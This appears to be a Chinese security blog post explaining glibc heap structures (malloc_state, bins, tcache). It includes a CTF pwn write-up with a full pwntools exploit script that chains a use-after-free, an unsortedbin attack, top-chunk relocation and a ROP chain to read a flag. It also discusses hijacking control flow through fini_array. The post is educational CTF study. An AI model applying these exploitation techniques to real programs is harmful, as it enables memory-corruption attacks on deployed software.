100
101
102
103
104
105
106
107
108
109
110
struct malloc_state
{
__libc_lock_define (, mutex); //锁

/* Flags (formerly in max_fast). */
int flags; //标志位

int have_fastchunks; //快速判断fastbin是后有chunk

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; //各个size的fastbin首地址

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; //指向top_chunk

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder; //最近unsortedbin分配剩余的chunk地址

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; //记录bins的信息

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next; //指向arena链的后一个arena

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free; //管理未被线程使用的空闲 arena

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads; //记录使用此 arena 的线程数量

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

struct malloc_par {
/* Tunable parameters */
unsigned long trim_threshold; // 收缩堆的阈值
INTERNAL_SIZE_T top_pad; // top chunk的额外填充
INTERNAL_SIZE_T mmap_threshold; // 使用mmap的阈值
INTERNAL_SIZE_T arena_test; // arena测试值
INTERNAL_SIZE_T arena_max; // arena最大数量

#if HAVE_TUNABLES
/* Transparent Large Page support. */
INTERNAL_SIZE_T thp_pagesize; // 透明大页大小
INTERNAL_SIZE_T hp_pagesize; // 大页大小
int hp_flags; // 大页标志
#endif

/* Memory map support */
int n_mmaps; // 当前mmap映射数量
int n_mmaps_max; // 最大mmap映射数
int max_n_mmaps; // 历史最大mmap数
int no_dyn_threshold; // 是否禁用动态阈值

/* Statistics */
INTERNAL_SIZE_T mmapped_mem; // mmap分配的总内存
INTERNAL_SIZE_T max_mmapped_mem;// mmap内存的历史最大值

/* First address handed out by MORECORE/sbrk. */
char *sbrk_base; // sbrk堆的起始地址

#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins; // tcache bin数量
size_t tcache_max_bytes; // tcache最大字节数
size_t tcache_count; // 每个bin的chunk数量
size_t tcache_unsorted_limit; // tcache未排序限制
#endif
};

/* There are several instances of this struct ("arenas") in this
malloc. If you are adapting this malloc in a way that does NOT use
a static or mmapped malloc_state, you MUST explicitly zero-fill it
before using. This malloc relies on the property that malloc_state
is initialized to all zeroes (as is true of C statics). */

static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,//未上锁
.next = &main_arena, //指向自己形成arena链表闭环
.attached_threads = 1 //初始只有主线程附在arena上
};

/* There is only one instance of the malloc parameters. */

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

这里还有个全局唯一的mp_,作为堆分配的配置策略以及记录arena的统计中心

这里定义main_arena用了C 语言的 指定初始化器,具体解释可以见https://blog.csdn.net/weixin_42258222/article/details/105221108

堆管理的结构实际上是malloc_state,而main_arena的定义其实就是初始化了一些malloc_state的成员,具体意义在注释中解释。

这里解释一下线程附着在arena的意义:

  • 线程第一次调用 malloc 时,glibc 会根据线程 ID 做哈希,从环形链表挑一个 arena;
  • 若该 arena 当前空闲attached_threads == 0),就把计数 +1,同时把线程的 tcb->arena 指针指向它——此时称线程“附着”到这块 arena
  • 线程后续再 malloc/free 都直接复用这块 arena,无需重新哈希
  • 线程退出或调用 malloc_consolidate 迁移时,计数减 1;减到 0 表示没有任何线程再用它,这块 arena 就可以被整个释放或回收进全局缓存。

这里详细解释一下其中的bin数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 索引布局:
bins[0] // 未使用
bins[1] = unsorted_bin.fd // unsorted bin 前向指针
bins[2] = unsorted_bin.bk // unsorted bin 后向指针

bins[3] = smallbin[1].fd // size 0x20 的前向指针
bins[4] = smallbin[1].bk // size 0x20 的后向指针
bins[5] = smallbin[2].fd // size 0x30 的前向指针
bins[6] = smallbin[2].bk // size 0x30 的后向指针
// ...
bins[125] = smallbin[62].fd // size 0x3f0 的前向指针
bins[126] = smallbin[62].bk // size 0x3f0 的后向指针

bins[127] = largebin[0].fd // large bins 开始...
// 一直到 bins[253]

tcache_perthread_struct

管理对应线程的tcache,存储在堆内存开头,自身作为一个chunk被管理,在第一次需要时动态创建,一般是内存中第一个chunk。2.35版本下的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];// 每个bin的chunk计数
tcache_entry *entries[TCACHE_MAX_BINS];// 每个bin的首个chunk
} tcache_perthread_struct;

利用实战

TSctf-2025的uniform,题目中给了固定大小的chunk无限次uaf。考虑打unsortedbin attack攻击,攻击buf数组(用来存堆指针的数组)中某一索引,实现对于main_arena中自top成员后0x80大小的控制权。修改top指针可以实现迁移top_chunk而达到任意地址分配,当然这里注意对应位置要符合16位地址对其以及pre_size位为1。这里题目刚好存在一个全局变量在buf数组前面,构造此buf为一个合法且足够分配0x90大小chunk的top_chunk size,然后再通过main_arena修改将top_chunk迁移并修复unsorted_bin,分配就能控制buf数组啦。

main_arena中构造后,使top指向buf

构造后的main_arena中top指向buf

成功将堆分配到buf字段

成功将堆分配到buf字段

通过envirno泄露栈地址并覆盖返回值为rop链即可。

Poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.terminal = ['gdb', '-p']
context.log_level='debug'
context.arch = 'amd64'
p=process('./pwn')
libc=ELF('./libc-2.23.so')
# p=remote('10.21.162.149',64649)

def add(idx):
p.sendlineafter('choice>',b'1')
p.sendlineafter('idx:',str(idx).encode())


def edit(idx,content):
p.sendlineafter('choice>',b'3')
p.sendlineafter('idx:',str(idx).encode())
p.sendafter('description:',content)

def delete(idx):
p.sendlineafter('choice>',b'2')
p.sendlineafter('idx:',str(idx).encode())

def show(idx):
p.sendlineafter('choice>',b'4')
p.sendlineafter('idx:',str(idx).encode())

def debug():
gdb.attach(p)
pause()



add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)#防止合并
#泄漏libc以及heap地址
delete(1)
show(1)
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=leak_libc-0x3c4b78
log.success(hex(libc.address))
global_max_fast=libc.address+0x3c67f8
pop_rdi=libc.address+0x21112
pop_rsi=libc.address+0x202f8
pop_rdx_rsi=libc.address+0x1151c9
buf=0x602068 #存堆地址
delete(3)
delete(5)
show(3)
leak_heap=u64(p.recv(4).ljust(8,b'\x00'))
heap_base=leak_heap+0x130
log.success(hex(heap_base))
# edit(1,p64(leak_heap)+p64(heap_base))
# edit(3,p64(0)+p64(0x61)+p64(heap_base-0x130)+p64(heap_base+0x110))
# edit(5,p64(heap_base))
# add(1) 这里是尝试fsop
add(5)
add(3)
add(1)
#接下来开始攻击buf修改top_chunk
delete(1)
edit(1,p64(leak_libc)+p64(buf))
add(8)
#修复崩溃并且将top_chunk放到buf数组前面,
p.sendlineafter('choice>',b'1131796')
p.sendlineafter('challenge?\n',str(0xf1).encode())
p.sendafter('are!\n',b'\n')
edit(2,p64(buf-0x10)+p64(0)+p64(leak_libc)*2)
debug()
add(7)
#这次请求会请求到buf数组
#通过全局变量environ泄露栈地址
edit(7,p64(libc.sym['environ']))
show(0)
stack=u64(p.recv(6).ljust(8,b'\x00'))
target=stack-0xf0
log.success(hex(target))
edit(2,b'flag\x00')
file_adr=heap_base-0x90
#覆盖栈上的返回地址orw
edit(7,p64(target))
orw=flat([
pop_rdi,file_adr,pop_rdx_rsi,0,0,libc.sym['open'],pop_rdi,3,pop_rdx_rsi,0x100,file_adr,libc.sym['read'],pop_rdi,1,libc.sym['write']
])
#这里吐槽一下远程环境和本地不一样,open时的句柄来到了6,本地是正常的3
edit(0,orw)
p.sendlineafter('choice>',b'10')
p.interactive()

在网上偶然发现一种比较底层的控制程序流方法:__libc_csu_fini劫持

利用条件是fini_array为可写状态。利用readelf -S ./pwn | grep .fini_array命令可以查看fini_array位置

然而在我利用本地libc运行demo尝试复现时发现:__libc_start_main函数貌似与题目中不太一样,甚至已经找不到__libc_csu_fini函数了,那么这个利用方法到底能否用于高libc版本的程序呢?我打算一探究竟。

首先过一遍c程序的执行流程:
start函数(text段的起点)调用了libc_start_main

在libc_start_main中调用__libc_start_call_main

__libc_start_call_main调用了main函数

返回__libc_start_call_main中并调用exit退出。

在GLIBC 3.35下,我发现在exit中__libc_csu_fini函数不见了,而取而代之实现对应功能的是(_dl)_call_fini函数

梳理一下libc_start_main流程(动态链接):
__libc_start_main
├── 安全初始化
├── 线程局部存储(TLS)初始化
├── 堆栈保护设置
├── 动态链接器初始化
├── 环境变量设置
├── 调用全局构造函数
│ ├── _init()
│ ├── frame_dummy() [异常处理框架]
│ └── .init_array 中的所有函数

__libc_start_call_main (GLIBC 2.34+)
│ ↓
│ main() [用户程序]
│ ↓
│ exit()
│ ├── 最后在_dl_call_fini函数内遍历调用fini_array数组

注:在静态链接的程序exit()最后调用到call_fini()

这里需要详细解释一下exit的流程:
exit(status)
↓ 调用
__run_exit_handlers(status, &__exit_funcs, true, true)
↓调用
_dl_fini() 进行动态链接器清理
↓函数执行过程
↓遍历linkmap生成模块列表
_dl_sort_maps(_dl_loaded, _dl_nloaded, NULL) ← 为模块排序
↓遍历排序后的模块列表
↓对每个模块调用_dl_call_fini
↓调用_IO_cleanup,其中有著名的_IO_flush_all
执行 .fini_array _fini()

这里逆一下_dl_call_fini的源码:

如果在程序执行流中如果有机会通过任意地址写或者数组越界的方式写到fini_array数组的位置,就能实现劫持程序流了?考虑一下题目的两种利用的情景:

1.构造array实现main无限loop

fini_array[0] = __libc_csu_fini
fini_array[1] = main

需要注意控制fini_array长度大于2

通过调试发现存储array长度的数据存在elf的.dynamic段


对.dynamic段的具体解释见:https://blog.csdn.net/qfanmingyiq/article/details/124527430
简单来说.dynamic 段为动态链接器提供了:

  • 依赖关系:需要加载哪些共享库
  • 符号解析:如何查找和解析符号
  • 重定位信息:如何修正地址引用
  • 初始化与终结流程:何时调用构造函数与析构函数
  • 版本控制:符号版本兼容性

那么fini array的长度和什么东西有关呢。这里先明确一下fini array存在的意义:为了确保资源正确释放
那么什么资源需要释放呢?问ai给出了几种:

影响因素 对数量的贡献 示例
全局 C++ 对象 +N (每个对象) MyClass obj1, obj2;
destructor 属性 +N (每个函数) __attribute__((destructor))
静态库初始化 +M (库决定) 链接的静态库
编译器生成 +K (编译器决定) 异常处理清理等

2.构造array实现无限长的ROP链

fini_array[0] = leave_ret
fini_array[1] = ret
fini_array[2]=ROP链子

这个方法利用的前提是在libc_csu_fini中遍历调用fini_array时函数将栈给迁移到了fini_array上,但是在GLIBC3.35以上用的 _dl_call_fini()中栈并没有迁移到这上面,当然也就失效了。

总结一下

综合看来这种利用方法貌似比较过时了(主要局限在fini_array数组的位置不可写),不过这次对于libc_start_main函数的探索也受益良多,本人对于底层的原理尚有很多待探索的。感受较深的就是版本的更迭也就意味攻击手法的更新也需跟上,那么对底层原理的熟练掌握以及积极发动主观能动思考能力也就不可或缺,加油!

补充

遇到一道pwnable中的题,用的是2.23-0ubuntu-5版本libc,fini_array数组不可写,然而仍然可以用fini_array来pwn

这里推翻两个先前的想法:

  • Fini_array不可写与libc版本高低有关——并非,其可写性主要在于是否开了RELRO的保护(是否为Full relro)。
  • fini_array不可写不意味着完全不能利用fini_array劫持程序流

题目中利用了对应版本的ld中对于fini_array操作前计算fini_array的操作:

从栈中取出主程序对应的linkmap,并在其中取出dynamic段的fini_array与fini_array_size(full_retro下不可写),然而这个结构体在main函数的时候其实是保存在栈上的!这段结构体是可写的,那么如果能够通过格式化字符串等漏洞往栈上这个结构体内固定偏移写入数据,就能控制fini_array到可控地址从而使劫持exit后到程序流!

目前状态: 鉴于过菜还在努力学习中……..


这个博客将会记录:

  • Windows 内核学习过程
  • **二进制安全 ** 知识记载
  • CTF pwn方向 Writeups
  • 一些心得(也许)

0%